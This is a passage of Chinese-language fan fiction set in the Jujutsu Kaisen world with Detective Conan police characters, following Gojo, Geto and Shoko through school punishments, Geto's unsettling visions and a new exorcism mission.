月光像个擀面杖将三人的影子擀得老长。夏油杰手中拎着家入硝子不知道通过什么手段''偷渡''来的酒,五条悟则双手背在脑后难得安分地走了一段。
他突然摘下墨镜,苍天之瞳在夜色中流转着稀碎微光:“那两个警察还会继续追查学校的。
夏油杰脚步一顿:“普通人查不到咒术界的情报。”
“但他们查得到夜蛾老师的案底。”家入硝子冷静地说,“大部分咒灵所为的案件都会被伪装成意外事故,这些事故警局都有记录的卷宗。由夜蛾老师负责的任务他也偶尔会被记下来,这虽然对于咒术师来说不常见,但是……”
“但是对于普通人来说这个频率绝对不正常!说不定夜蛾会被当做炸弹犯恐怖分子抓住关起来!”五条悟幸灾乐祸地挥舞拳头。
夏油杰回头看他,五条悟已将墨镜戴回,正悠闲地哼着歌踢石子玩。
往常不会有人在意的事,但若是警察有心去查一定会发现其中异样。虽然警局会有专门签订保密合同的人员,但能远离异常的话还是让他们尽量远离吧。
想到这里,夏油杰攥紧了警官的联系方式:“不能把他们卷进来,强者理当守护弱者,我们和普通人……”
“知道啦知道啦——”五条悟拖长尾音打断他,“早就看出来了,保护心泛滥的怪刘海。你是有一本优等生守则吗,越过就会死什么的?”
他的轻佻惹得夏油杰额角一跳:“你能稍微正经一点吗?”
“别拌嘴了,这个点已经过了夜蛾老师定的回校时间了。”家入硝子举着手机朝他们晃晃,“我手机静音了,电话和信息没轰炸到我。”
两个男生面面相觑。
“我的手机没电了。”
“老子的根本没带出来。”
五条悟摊摊手:“迟点有什么关系嘛,你们也不是那种特别守规矩的人啊。”
家入硝子笑了:“我倒是无所谓啦,还记得你们欠的检讨吗?”
夏油杰木然半秒。
“虹龙——!!”
“是老子的坐骑一号,硝子快试试,这个可厉害了!”五条悟兴奋邀请。
“可以啊,我要坐在最前面抓住龙角。”
“……硝子,不要应和他啊!”
虹龙回身摆尾挑起三人,卷起的飓风掀飞了路边的广告牌。五条悟拽住夏油杰的衣领抗议:“慢点!老子的新墨镜要被吹飞了!”
“那把你的龟壳打开。”
“不·要!老子要兜风!”五条悟理直气壮,“检讨明明可以要辅助监督写……”
*
咒术高专的校门口,夜蛾正道站在一睹破破烂烂的围墙下,面沉如锅。虹龙急刹掀起的灰尘扑了他一身。
他维持自己的威严,木着摸了把脸。
“解释。”班主任抱臂逼视。
家入硝子冷静道:“路上车抛锚了!”
五条悟举手:“杰的咒灵失控了!”
夏油杰狠狠闭了闭眼:“……我们迷路了。”
夜蛾冷冷看着夏油杰手上购物袋的logo,夏油杰蚊声细气:“这是硝子的……”
“每人两千字检讨,明早交。”
班主任不理,坐下判决。
*
“老·子·不·写——”五条悟四肢大开瘫在夏油杰床上,“区区夜蛾,只要说我们交到他办公室了,再在打架时不经意把办公室轰飞……”
这家伙为什么可以这么自然地跟着回了自己房间?
夏油杰抽了抽嘴角懒得和他计较,他把他拽到椅子上摊开一本空白笔记本:“先说好,你的那份我一个字都不会代笔。”
五条悟噘着嘴懒散盘坐在椅子上,写两个字就东转转西晃晃,时不时摆弄桌面的东西,时不时又凑过去看夏油杰写了什么。玩累了就趴在旁边,盯着随拐弯的笔一同在空中拐弯的刘海。
他眨巴眨巴眼睛突然坐起,“说起来,你是不是有可以制冷的咒灵?”
夏油杰随口回道:“你是说雪女?”
“你把他放出来当空调用呗,高专太乡下了连空调都没有,老子要热死了。”
“不行,雪女的寒气会冻结整间屋子。”
“那不正好?”五条悟猛地蹿起跳到椅子上,指尖凝聚起咒力蓝光,“把墙壁炸个洞,让冷气漏去我房间——”
“等等!你住手——”
夏油杰绝望的惨叫和轰鸣声响彻整个高专,惊起满校鸟雀:“五条悟——!!!”
夏油杰暴起的拳头挥出却又在五条悟可怜巴巴的眼神下滞住。
五条悟抿了抿嘴惹人怜爱地说:“对不起嘛~~,都是悟酱不好,早知道杰不愿意的话把自己热死都会不动手的。杰尽管打我吧,快要心碎的悟酱是不会还手的。”
“……”
计划通!老子果然连演技都是最强的!!
*
一个小时后,夏油杰看着自己房间西侧消失的墙壁以及连通五条悟卧室的大洞唉声叹气。
都夹成个哨子了,这小子不会以为自己演技很好吧。但用那种眼神望着别人——
他摸了把脸,这叫人怎么下的去手?
始作俑者坐回了自己的床,他正裹着从对方衣柜里翻出的羽绒被美滋滋地啃草莓,全然不知他的纠结。
夏油杰低头闷声赶检讨:“你明天记得叫人来修墙壁,要不然把你冻成冰雕送给夜蛾老师当教具。”
“杰,你个渣男。怎么可以这么对待可怜可爱的悟酱~”
“别夹了,以为自己是JK吗?”
五条悟认真想了想:“也可以是啊。不要卡那么死嘛。”
他突然从洞口探出脑袋,以迅雷之势把指尖的巧克力塞进对方嘴里,“呐,用这个换你闭嘴怎么样?『限量版超绝巧克力』!”
夏油杰捂嘴掐脖五官扭在一起,认真的——这小子可以换个对象迫害吗?
他吸回自己吐出的魂,挣扎着颤颤巍巍唤出一只咒灵挡住洞口。
短时间内实在不想看到那张会让人梗死的脸了!
“这是什么,你从哪偷来的老奶奶的毛线毯?”
“闭嘴吧。”
*
警视厅机动队办公室,被紧急叫回加完班的萩原研二趴在桌子上。
听到脚步声,他一动不动:“查到了吗,小阵平?”
“确实有教育部的许可证,但备案信息除了学校名字外一片模糊,”松田阵平放下手里的资料,“除此之外,东京咒术高专的老师夜蛾正道的名字不仅多次出现在意外事故的记录中,而且出现在……三起离奇死亡案件的涉及人员名单里。”
萩原研二换了个方向趴着,脸对着松田阵平。
“夜蛾正道作为‘特殊民俗顾问’参与其中,所有档案都被盖上了『非公开』印章。”
萩原研二拿起档案的手僵住了:“那你这些……”
“这三起是最新发生还没来得及分类收归的,”松田阵平看着幼驯染不赞同的眼神无奈解释,“短时间之内就发生了三起,被封存未声张的恐怕会更多。”
萩原研二这才放心的打开档案袋,崭新的案件记录在桌面铺展开。
2005年7月13日,新宿歌舞町离奇塌陷,所有幸存者证词均提及“看到九头蟾蜍。”
2005年7月19日,奥多摩山林徒步者集体昏迷,医学报告显示“低温症与灼烧同时存在。”
2005年7月24日,涉谷高端居民区出现惨死男尸,经痕迹科检验分析,死者创口形态超出人类生理极限,排除常规作案工
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具及手法可能。
松田阵平低头点燃一只烟,在烟雾缭绕中眯起眼睛:“这位‘顾问’每次出现后,案件就会从搜查一课转到公安下设的特殊事象对策室。”
“应对‘新型恐怖活动与高科技威胁’的特殊事象对策室?”萩原研二在昏黄的台灯下抬起头。
松田阵平不屑的“嗤”了一声:“对啊,我一直不懂这个课室设来干嘛。明明高科技威胁归科学搜查课管,还非要设个有最高派遣权的综合部门。”
“不论如何,这所学校,这个夜蛾正道身上绝对有点秘密。”萩原研二潇洒的一撇头发,“小朋友们还是太嫩了,竟然觉得能瞒过敏锐的小阵平和hiro酱!”
“这好办,”松田阵平弹了弹烟杆,“哪天有空去把那几个崽子和这个夜蛾通通逮了,好好问问。”
萩原研二欲言又止,突然转念,愉快的点了点头。
*
凌晨一点,夏油杰终于完成检讨书时,隔壁五条悟的小呼噜已经吹了许久。
他偏头拿起最开始递给五条悟的笔记本。没有几个正经字,末尾画的那只戴墨镜留刘海的卡通猫倒是活灵活现,标着的对话框里写着:“绝情的怪刘海杰。”
他轻叹一声,把五条悟喝完的空草莓牛奶盒扔进垃圾桶,继续伏案。
等他勉强撑着眼皮洗漱完躺到床上时已经凌晨三点,脑子里的催眠咒早把‘回去思索怪异画面’的想法霸凌出脑壳。
阳光烂漫,夏油杰穿着花衬衫优闲地躺在沙滩椅上,手边的桌子摆着半杯冰镇的橘汁。
海风轻抚,轻微晃荡的水声声声入梦。五条悟快活的吆喝与少女活泼的笑声交织在一起也并不吵闹喧嚣。
真是一场难得的好梦啊,即便被大清早的闹铃吵醒,夏油杰的心情依旧美丽。
去食堂买了早饭拐道去夜蛾正道的办公室放下检讨后,他又拐回宿舍去叫哼哼唧唧赖床的五条少爷。
少爷被催一声夹着被子扭一下,以一个诡异的姿势蜷曲,最后迷迷糊糊的被夏油杰提起来洗漱。
“为什么要这么早叫醒老子?”五条悟趴在课桌上吃着夏油杰带来的早餐抱怨。
“今天是正式上课的第一天,为了仪式感也不能迟到吧。”夏油杰将课本文具整齐的码到桌上。
“五条、夏油,早上好。”家入硝子轻飘飘的招呼。
“早上好,硝子。”
彼此问候过,夏油杰看着趴在桌上昏昏欲睡的硝子犹豫问道:“昨晚没睡好吗?”
家入硝子闻言冷冷看着他,一副‘你应该知道’的表情。
夏油杰楞了一下,干笑转回头。
——突然知道原因了呢。
夜蛾此时到了教室,把学生证递给夏油杰:“杰,你的评级下来了。是和悟一样的准一级。”
夏油杰美滋滋的拿起来细细端详,学生证上的自己怎么看怎么帅气。
“别臭美了优等生,老子承认你比老子只差那么一点行了吧。”五条悟用脚踢了踢他的鞋子。
“谢谢你啊,我可真光荣。”
“……”
无趣的优等生。
五条悟一副被掐住脖子的样子。
“还有一件事,悟你记得确认一下校服样式,这一届只有你还没有校服。”
说完夜蛾正道站回讲台开始讲课:“把书翻到第一页,咒力是……”
五条悟用手挡住嘴把身体拉到夏油杰这边:“夜蛾可真健忘,我就说检讨不用写吧。”
大可不必——你这样真的很明显。
夏油杰一边听课,一边用笔头顶住五条悟的脑门把他推回去。
五条悟摸了摸额头上的圆印撇嘴,下巴被手撑出圆润的肉来。他发了会呆,突然想起什么,埋头开始奋笔疾书。
8. 精神分裂
“……这是什么?”夏油杰声音艰涩。
五条悟转着笔:“看不出来吗,老子的校服稿啊。”
夏油杰盯着课桌上那张涂鸦般的“设计稿”,太阳穴直突突的跳。五条悟翘着二郎腿坐在讲台上得意洋洋:“怎么样?老子绝对会引领咒术界的潮流。”
“要说引领,建议直接穿上女仆装或者扮猫娘,绝对的独一无二哦。”硝子冷笑一声,头也不抬地翻着自己的《临床医学》。
“硝子——”五条悟幽怨道。
他抄起橡皮就要恼怒丢过去,手腕却被夏油杰眼疾按住。
“这个……”黑发少年两指夹起稿纸弹了弹。
上面的线条凌厉但涂涂改改,只能勉强从轮廓看出是件上衣的模样。
高开叉的露*胸紧身上衣配铆钉外套,还有……
他一脸嫌弃,向家人硝子寻求支援,却见少女瞄了几眼后窜到教室后面举着医学大部头挡住脸,一副辣眼睛看第二眼就要瞎掉的样子。
夏油杰只好自己眯着眼仔细甄别,他指着上面的图纹向五条悟请教:“这个一圈一圈的是什么?”
“哈,你的小眼睛是闭起来了吗?”五条悟满脸的不可置信,“老子这么牛的画技!这当然是镶灯的骷颅头啊!”
夏油杰额角直跳:“别逼我扇你!骷颅头就算了,你为什么要用LED灯来缝?是这——里,终于烧坏了吗?”
他犀利点评,飞速戳了戳对方的脑子。
五条悟一个后仰,一把抓住他的食指不爽道:“这点想象力都没有吗?”
他拽过稿纸唰唰添了几条同款腰链:“LED的骷颅头和腰链,一定会把咒灵吓得瑟瑟发*抖!”
教室后面传来一声闷响,硝子的医书砰的掉到地上。夏油杰看着又加了几圈灯链的设计终于确诊了这家伙是个不折不扣的中二病。
他揉了揉眉心试图讲道理:“你这个,穿出去不知道会不会丢高专的脸,但绝对会把我和硝子的脸丢光!”
“硝子——!”五条悟忿忿不平,“这么帅的老子怎么会丢你们的脸?!”
“驳回!驳回!!”硝子双手打叉,她不想掺进dk的争斗中去,但奈何夏油的话说得该死的有道理。
五条悟气鼓鼓,两人对视几秒,气氛诡异到安静。
“你第一天穿来的和服版式……”夏油杰试着提议。
“想都别想!”五条悟像只被踩到尾巴的猫,“那也太封建古董橘子了吧。”
夏油杰吐槽:“真想研究一下你的词库啊,橘子原来是个形容词吗?”
五条悟自得地说:“老子用词一向精准!那群半只脚入土的老爷爷脸皮皱巴巴的,像群放久烂掉缝里还满是霉菌的臭橘子。”
“上衣改成立领单边扣怎么样?我和硝子都是这种,这样一看我们就是一伙的。”
五条悟趴在桌子上侧着脑袋看他:“老子为什么要和你们看起来像一伙的?”
夏油杰随口道:“别人不会误以为我们霸凌孤立你。”
五条悟努努嘴:“无聊——”
白发少年突然弹起:“裤脚!那裤脚老子要穿起来嗖——嗖的那种!”
嗖——嗖的裤脚?夏油杰指尖一顿,莫名get到了他的意思,那种裤子……在日本冬天会被冻死的吧。
“还是穿黑色直筒裤吧。”他拿起笔在一张干净的白纸上利落画下上衣与直筒裤的线条,“显高又显腿直,你穿上去会很帅。”
很帅?!
五条悟只听到这两个字,他故作淡定道:“老子穿什么不帅……那就直筒裤吧。”
*
十月的金木犀散了满地,这花没有愁思,倒把秋天衬的和盛夏一样。
敲定终版稿件后,挑剔的五条少爷把校服打回多次终于不耐烦地挥指亮了绿灯。
刚和搭档做完一个小任务回来的夏油杰蔫蔫地趴在桌上,咒灵玉腐烂的腥味堵在喉头不上不下,搅得胃里翻江倒海。
“呜!”
冰镇的乌龙茶突然贴上脖颈,他下意识瑟缩一下。
五条悟晃了晃手上的饮料,墨镜下滑露出圆圆的猫眼,“早上老子特意省给你的口粮你都没吃哦。”
夏油杰闷了一口茶无奈道:“是你把夜蛾老师办公室的雪饼快吃完时才分给了我一块吧,这样即便被训也有我作陪。”
近一个月来,基于同等的强大与相近的爱好两人的关系迅速拉近。与此同时,五条悟的迫害对象始终牢牢锁定。
夏油杰是早也想晚也盼,在手机上日日烧香拜佛也没能让神明管管祂的神子。
也不过一个月,他闯的祸写的检讨就让夜蛾正道对他的好学生滤镜彻底碎成渣渣掉了一地。
夏油杰从最开始被发现还会尴尬讪笑偶尔反思到被五条悟煎炸成了个老油条,再被抓也只是面上''抱歉老师,都是我的错''下次照干不误油盐不进的模样。
“这不重要啦,反正夜蛾老师去总监部了,我们回去打游戏吧。”
旁边的硝子抬头:“总监部?他们传召夜蛾老师干什么?”
“杰评级的事之前夜蛾去找总监部理论过,今天突然传来消息——那两个辅助监督横死了。”
“死了?!”夏油杰猛地抬头,撞进一片无波的蔚蓝。
“总监部的手笔?”他声音低哑,几乎是自语。
“不然呢?”五条悟嗤笑一声,“估计吩咐了见不得人的事,被质问找不出借口就干脆把办事的灭口了。”
窗外阳光刻薄,蝉声噪鸣。
夏油杰愤愤道:“用错误纠正错误,他们和咒……”
“真无聊。”五条悟打断他,蓝眸如亘古不化的冰原,“早就想说了,这种正论真是无·聊·透·顶啊。”
夏油杰愕然:“什么?!”
硝子嗅到火药味,抱起书本快步溜走。
说不定待会这座楼也要塌掉,聪明的医生是不会把自己立于危墙之下的。
五条悟虚空点点瞪大狐狸眼的少年:“他们是针对你的人,死就死了,还免脏自己的手。你却在为他们不平?真搞不懂你脑子里装的是什么。”
他夸张的吐舌头:“高层确实恶心,但和烂橘子一伙的蠢蛋也一样的令人作呕!”
夏油杰声音拔高不加思索道:“这是人命!谁有资格审判,不拿人命当回事的人和需要祓除的诅咒根本…”
“哈——”五条悟突然笑出声,他突然凑近掀起的风吹动夏油杰的刘海,“如果是这样论的话,那老子——”
他的双手在少年眼前晃动:“这双手早就不知道掐断过多少脖子,轰穿过多少胸膛了。人命?你知道有多少人想要老子的命吗?”
他话音刚落,夏油杰瞳孔骤缩。
面前的这双眼,是天空、是冰川、是洋流横袭浪潮澎湃的大海。
“你以为五条悟是靠什么站在这里?”他歪头笑着,不羁肆意,“用你的正论吗?”
夏油杰喉咙发紧,目瞪口结——不为被否定的正论,只为眼前笑着的五条悟。
这家伙,明明在说着这么难过的事,笑容恣意眼神却像粗砺矗立的墓碑,俨如站在天国的魂灵,旁观着不属于自己的世界。
“人命是咒术界最不值一提的东西,如果你受不了还是早早滚蛋吧。”
夏油杰沉默半晌率先撇开头:“……我们回去打游戏吧。”
五条悟挑眉蹦蹦跳跳的出教室:“这次老子肯定破你的记录。”
夏油杰追着他的背影跟上去。
他绝不认可生命轻贱的言论,但五条悟的话让他莫名想起那个幻影。
被开膛破肚的、沾满灰尘血液的、孤零零卧倒在废墟,体无完肤生死未知的五条悟。
比起那个五条悟,前面这个眉飞色舞,嬉皮笑脸,表情灵动的臭屁包也挺好的,至少他
——充满生机。
*
五条悟盘腿坐在地上,身体前
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倾,膝盖重重抵到夏油杰的大*腿,游戏手柄被他按得噼啪作响。
夏油杰认真盯着屏幕里的boss,突然他闻到一阵葡萄酒的香气。
“要死了要死了!”还没等他开口,五条悟就大呼小叫地歪进自己怀里。
夏油杰在摇晃的视线中突然瞥见身上的校服变成紫金的袈裟,定睛之间又消失无影。
他手一抖放错技能,屏幕上的游戏角色直接被boss揍成烟花。
“杰今天的手感超烂的!”
夏油杰的腿已经被压麻了,他刚要回嘴,蓦然间,五条悟的下半身在他的视线里弹成灰飞!
他猛然弹坐成跪姿,用力掐住五条悟的腰腹。
“你干嘛?老子身上要青了。”五条悟被震的一并弹起,他扭了扭腰起身时顺手把游戏机塞进黑发少年的领口。
明明是刚在人手上激战过的手柄,金属的机身与上面黏腻冰凉的汗渍却一点也不温热,冰地夏油杰一哆嗦。
又一次的咒力波动异常,正常情况下连六眼也无法察觉。这是怎么回事?!
五条悟不动声色,眼神如刀剖析。六眼幽幽闪光,在太阳底下如同是折射的光的波折。
一股暗金的咒力,细若蜉蝣却蜿蜒盘桓,轻易扰乱粗壮的幽紫。部分紫色的分流在它的带动下回溯,在整体的洪流之中显得如此幽微又抢眼。
原来如此!
世界真相在此刻骤然显现一角!
五条悟的眼睛亮得惊人,太阳是最好的伪装,恍惚的夏油杰未能察觉一丝异样。
白发少年睫羽纷飞,亢奋的短脸无意中露出几分非人的本貌,目光却滚烫的如同一只眈视猎物的雪豹。
夏油杰被烫的灼热才反应过来松开手,他盯着不受控制颤动的指尖,手中的手柄摔落在地,四分五裂。
*
医务室消毒水的气味几乎浓郁化实。
家人硝子用病历本扇风的动作顿在半空:“你说你看到自己穿着袈裟站在高台上?”
“不仅如此,我还多次看到悟……倒在血泊中。”夏油杰捻着自己的袖口,仿佛那里溅上了血迹。
医生小姐拿着一只灯凑近:“视网膜没有问题。如果是眼睛的毛病,半个月前你来找过我时我施展的反转术式早就将它治愈了。”
“那我……难道是不知不知不觉的重了某种术式或诅咒吗?”夏油杰裤兜里手指揪紧。
“或许我该找一些典籍,看看有没有类似能力的术式或咒具。”
“不,或许你该少陪五条通宵打游戏。”硝子踹开突然探进来的五条悟,“偷听狂就该夜里一个人哭唧唧。”
五条悟吸着可乐:“硝子又在吓唬人了。”
医师小姐双手抱胸道:“如果是术式或诅咒的功效,不如让五条帮你看看。”
五条悟迎着夏油杰希冀的目光,歪头顿了一下:“不是,不是术式的原因。”
“那现在还有一种可能。”家入硝子看见夏油杰低沉的样子道。
“是什么?”夏油杰双眼放光的看着靠谱的女同期。
医师抽出一张诊断单刷刷几笔,转身抽出一本《中学生心理健康教育教程》翻到某一章递给他。
夏油杰激动的接过来,却在看见硕大的章节名时陷入沉默。
五条悟把脑袋挤过来。
上面几个特大加粗的字体赫然是
——青少年精神分*裂干预与防治。
“噗嗤——”
五条悟憋不住捂着肚子大笑起来。
“哈哈哈哈,杰,你变成精神病了耶!”
夏油杰深吸一口气,皮笑肉不笑地撕掉诊断证明,泰山压顶式扑过去。
——两人面目狰狞地滚成一团。
医务室的书架,药架等种种器物被撞到,各种物品杂落一地。
硝子:……
她举起拖84的拖把扫过去!
“你们两个,都给我滚!”
9. 关心
夏油杰神色恍惚,背抵着宿舍门板,被他终究带回的《心理教程》的书页在手臂无力垂落时拍打在门板上簌簌作响。
窗外的蝉鸣远没有盛夏时节热烈,但传到他的耳里却震耳欲聋,一阵噪鸣过后便是恒久的死寂。
他盯着自己微颤的指尖半晌,突然狠狠握紧,握的掌心濡湿,紧的手掌生疼,仍发狠用劲,绷的拳头不住抖颤。
“啪!”
倏的,他丢垃圾一样把书甩地老远,连同丢垃圾一样把自己甩到床上。
死死闷在被子里,夏油杰闷的鼻尖生汗也不松手,直闷的大脑晕眩、闷的家人硝子的声音在他耳边循环播放。
他以''最近太累出现错觉''为由拒绝了医生小姐的用药建议和每周进行精神评估的医嘱。
“开什么玩笑……”,他一骨碌起身,抓起钢笔在日历上打叉,力透纸背的纸背也不想停手。
上一个叉的位置还停留在入学前一天。他指腹用力,入学日期便被墨水洇成黑点,他又提笔将后面的日期敷衍式的用一条直线一并划掉。
用了十几年的嘶吼和歇斯底里才勉强摘掉的标签又被帖了回来,还是被无法反驳的同类贴回来的,没有比这更可笑的了。
钢笔坠地,氧气被抽走了,夏油杰头脑昏沉地站在泥沼中心。
这泥沼很眼熟,必是他曾陷进去过又发誓再不陷进去的。
迷茫是一片海,这海在今年夏天难得未受大风,海水只被摇晃在海岸两颊。他以为是永远的晴光便含笑着安心合眼,展开蜷缩的身躯安睡在它的臂弯。
却在半夜,轰雷掣电、疾风骤雨、大海侧翻、海浪铺天,夏油杰从礁石上滚下,咸涩的海水掐醒他,窒息的冰冷鞭笞他,他再次陷入不可抗拒的窒息的漩涡,再难破水仰头而出。
这次没有人可以拉他上岸了,夜蛾老师也不能让这篇海域重归平静晴朗。
“我还以为…我不再孤独了。”
夏油杰俊郎深刻的眼窝此刻却显得他阴郁又疲颓,语调上扬也掩不住自嘲的讽味。
“杰——”门被敲地砰砰作响,门外的少年大有一副你不开门我就敲到死的意味。
夏油杰伸手一勾门把,刚开了条缝白毛的液体猫咪便熟练地滑进来:“哟,被硝子掏出的84味拖把吓到了?老子可要把你的囧样到处宣扬宣扬。”
“拖把布条先糊到了你的屁股上吧?你现在还浑身的消毒水味呢。”夏油杰叼着滑落的皮筋将凛乱的头发用指梳顺汇成一束。
几缕跳脱的发丝温顺盘在耳侧,黑发少年低眸的瞬间显出几份容易把人骗倒的温驯来。
五条悟眼珠随着晃动的马尾尖晃动,他弹了一下,马尾晃了回来。他双眼噌的两起,屈指再弹一下,又晃回来,弹,晃,弹……
“悟!”
不想管他,他怎么还越弹越用力了,自己的后颈都头发鞭红了。
五条悟一点不心虚,他弯腰将掉在地上外圈微润的橡皮圈套在冷白的腕上:“杰,老子来帮你扎头发吧!”
夏油杰毫不犹豫拒绝:“不要。”
他一点也不想年纪轻轻的就变成头发稀疏的秃头男。
“来嘛~”
“不要啦!”
五条悟笑嘻嘻的夹着嗓子揪住他的袖子晃悠,力道大的快要把人甩飞出去。
“来嘛!”
夏油杰龇牙咧嘴地捂住自己的肩关节:“……”
*
他着镜子左照照右照照,颇有些惊奇:“你的手艺还不错嘛。”
“那当然,老子什么都是最强的!”
笑话!五条悟可是小时候因为好奇心而玩过芭比娃娃的精致DK,区区丸子头怎么可能难倒心灵手巧的他?
“你找我是有什么事吗?”
五条悟说:“夜蛾说有任务。这次的咒灵出现在游乐场哦,说不定能调幅个能飞的过山车咒灵。到时候老子坐在车头,你和硝子排排坐在后面,我们来个无轨驾驶,多帅啊!”
一想到赛车手五条悟开着过山车带同期在空中飙车的画面,他便忍不住美滋滋的笑。
听到有任务对方还和他在这里闹,夏油杰抓着他就走。
“那我还是调幅个棉花糖咒灵给你吐糖丝吃吧,说不定还能陪你过家家玩编绳结扎头发的游戏呢。”
五条悟拍拍他抓住自己的爪子:“是怕寂寞了吗?放宽心啦,就算有咒灵陪老子玩老子也肯定不会忘记你的。”
夏油杰故作平静:“呵,谁怕寂寞了?”
五条悟听着他的口气惊奇的看着他:“你真的怕寂寞啊!原来老子对你这么重要吗?”
“谁怕了!”
“刘海炸起来了哦,明明是被戳中了才这幅口气的吧!爱要大声说出来啊,咒灵不是来分开我们而是来加入我们的!”他比出兰花指,“来,大声说‘悟大人,我——爱——你!’”
夏油杰咬牙切齿:“谁要咒灵加入进来,不对…都什么跟什么啊!”
五条悟像质问负心汉一样掐着他的脖子摇晃:“所以你到底爱不爱老子!”
“哕——”
夏油杰面目狰狞地掐回去:“闭嘴啊!你这只胡言乱语胡作非为的臭猫!”
*
游乐园的咒灵既不是过山车也不是棉花糖,而是串黑漆漆阴森森的糖葫芦,惹得五条悟跃跃欲试想啃一口。
被揍了个包,又被夏油杰的可丽饼哄好的五条悟蹲在秋千上啃饼,看着夏油杰用咒灵操术将一团烂泥状生物搓成成人拳头大的球体:“这一次的任务也太弱智了吧!”
“毕竟只是二级。”夏油杰把咒灵玉揣进口袋,“我去一下卫生间。”
五条悟耳尖抖了抖,咒术师的五感异于常人,他能听见不远处卫生间里哗哗的水声,微末的一两声喘息混在期间弱的几不可闻。
他瞪着手里最后半张没有酱料的饼,恶狠狠地团吧团吧塞进嘴里。
“吃慢点。可丽饼的饼皮湿软,没充分咀嚼的话容易很黏在食管上。”
夏油杰擦拭掉水珠,挑选着买来一瓶刚放进冰柜的冰矿泉水。
“你刚刚是掉坑里了吗?”五条悟瞅着夏油杰下巴滚落的水珠含含糊糊地说:“说起来老子还没见过你调伏咒灵,你表演个给老子看看。”
夏油杰顿了一下,拧开水递给对方:“……只是很普通的方法,没什么可看的。”
五条悟咕噜咕噜喝了半瓶递回去,夏油杰端详了一下剩余的水量直接仰头全部倒进嘴里。
空中的水线随着他一点一点瓶身的动作摇
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摆变换,五条悟盯着他滚动的喉结和微红的眼角意味不明。
他突然出声:“喂,杰,我们来打一架吧!”
“噗——咳咳咳咳!”
夏油杰握瓶的手一抖,水线在空中妖娆地瞄准鼻孔浇了上去。
“上次被夜蛾打断老子可是记的清清楚楚。这次你打赢了,老子就告诉你一个秘密。”
未等回答,急跑掀起的狂风已吹飞了平静的秋千。夏油杰本能地撇头,“等等,就算要打也不能……”
回应他的是五条悟的一记勾拳。
他们缠斗几招,一旦他开口对方就挥着硕大的拳头揍向他的脸。没几个回合夏油杰便被打出火气,也顾不得这是游乐场便大开大合的回击起来。
五条悟压低重心避开一掌,“今天好暴躁啊~小眼睛。”
“要打就认真打!”旋踢落空蹬在秋千上,五条咪的猫爬架受此一击彻底散架。
他鞋底擦着夏油杰的鼻尖掠过,“像个仓鼠缩在房间里,寂寞的要死还不肯说,现在调伏咒灵也避着老子……”
夏油杰的咒力汹涌,连他自己都被震的趔趄两步。五条悟腾空翻转,俯身撑地延缓冲击。
“你在担心什么?”五条悟不爽的声音突然轻下来,轻的像肩头一拂就落的花瓣,“老子、真的、很不爽啊!”
“有什么不可以说吗,看别人为你猜来猜去很开心吗?”
夏油杰的心脏猛地被无形的手死死捏住,只能在掌心挣扎着跳动。五条悟白色的发在阳光下亮的扎眼,他的嘴角被自己的拳风掠过红的有些刺目。
黑发少年顿住的瞬息,五条悟将他肘击在地。他用膝盖压住他的手腕,双手撑他的耳边。
“快起来!”夏油杰双腿用劲带动腹部,想要把身上的人顶飞,却在不经意目光对上瑰丽的蓝色时慢慢减缓下来。
对方的眼神是那么的专注清明,仿佛早已看穿他心底翻涌的暗流潮汐。
风拂来一阵甜腻的味道,不知是远处侧翻的棉花糖香气还是五条悟身上浸萦的甜品气息。它越过鼻腔钻进心灵的罅隙,弥合能传来回音的空地。
这种关心方式……这个笨蛋!
夏油杰忍不住了:“笨蛋!笨蛋! !大笨蛋! ! !”
五条悟不可置信:“哈?老子可是好不容易才关心一次人啊,你给我荣幸一点!”
“你对自己的体重没数吗?我的手腕要被跪断了!”
双手动弹不得,他挺起胸膛梗着脖子绝望嘶吼。
五条悟眨巴眨巴自己的大眼睛,乖巧地挪开膝盖。
乍一得自由,夏油杰双眼一眯灵巧的将某笨蛋掀进喷水池。
飞溅的水花炸开清凉的姿态,他突然勾住正在骂骂咧咧拧干衣角的笨猫的脖子来了一击锁喉。
反正咒术师都是疯子,有些事情,并不影响自己掌心的温度不是吗?
“松手啊混蛋!老子的墨镜要碎了!”
“你说的秘密呢,告诉我我就松开!”
“告诉你个鬼啊!看招——”
他们两个打打闹闹的很开心,只有夜蛾正道看着手机上打来的赔偿电话和未读未回的一串信息陷入自闭。
突然,他眸光一定,下定决心:“喂,是五条家吗……”
10. 任务来袭!
自从有内涵有逼格的低沉姿势没摆出一会就在五条悟的欠揍下没绷住,夏油杰整个人裂开后反而松了口气,变回该吃吃该喝喝的样子,颇有一副准备破罐子破摔的意味。
夜蛾正道的手指一下一下在办公桌敲出低沉声响,纠结的看着夏油杰。
五条悟整个人蜷进皮质的沙发里,眯着眼睛惬意的对着空调吹风。
“请问——”夏油杰坐在沙发扶手上,勾着的购物袋在指尖转圈,“您特意周末大早上的叫我们过来是有什么事吗?”
“杰…”身穿黑色西装的壮汉嘴唇嗫嚅几下还是劝道,“你的事…硝子和我说过了,不要讳疾忌医,药还是要吃啊。”
“噗,哈哈哈哈—唔!”
夏油杰面目狰狞地扑上去死死捂住五条悟的嘴,任他唔唔唔闷声捶打他也不松手。
——去死吧!我承认了,我就是那么阴暗的人!!
夜蛾正道用力抹了把脸,拍板道:“总之我已经约了市中心一位有名的心理医生,他会为你长期做心理干预,你每周都要去。”
这孩子才被他的父母交到我手里一个多月就……我该怎么和他们交代?我实在是辜负他们的信任啊!
“夜蛾老师……我知道了。”在夜蛾正道愧疚又痛心疾首的目光下,夏油杰勉强把拒绝的话咽了下去,纠结着答应下来。
“这样才对嘛,夜蛾可是用自己微~薄的工资为你长期约的‘知名’医生耶,夏油同学要认真接受治疗哦,悟酱会时刻监督你的!”
看着五条悟扇风点火、得意洋洋的脸,夏油杰青筋直跳的又想和他好好聊聊了。
班主任则满眼欣慰地看着他,让五条少爷来读书果然是个正确的决定。真是长大了,任性又自我的神子也会关心人了啊!
心思细腻的班主任收起感慨时光飞逝的伤春悲秋,转而严肃说起这次的主要目的:“你们看过早上的新闻了吗?”
“新宿区这近一个月有七人因不明原因陷入昏迷,其中一人两周前……”
电话铃声突然响起,夜蛾看着来电人接起。
那边不知说了什么,他应了几声后挂断。
“本次任务的辅助监督把车开到校门口了。既然如此,接下来他会为你们介绍本次任务的状况的。”
是紧急任务!两人对视一眼,眼神兴奋凌厉。
“终于来怪了,希望不要太弱啊,让这无聊的上学日常变得精彩些吧!”
“别把这当游戏。”班主任训斥了声。
他嘱咐道:“这次的任务古怪蹊跷,硝子必须留在高专。你们两个都给我认真一点,抓紧时间祓除咒灵,尽力救回更多的受害者。”
班主任看见听闻任务古怪后更蠢蠢欲动的五条悟,直接一巴掌甩过去。
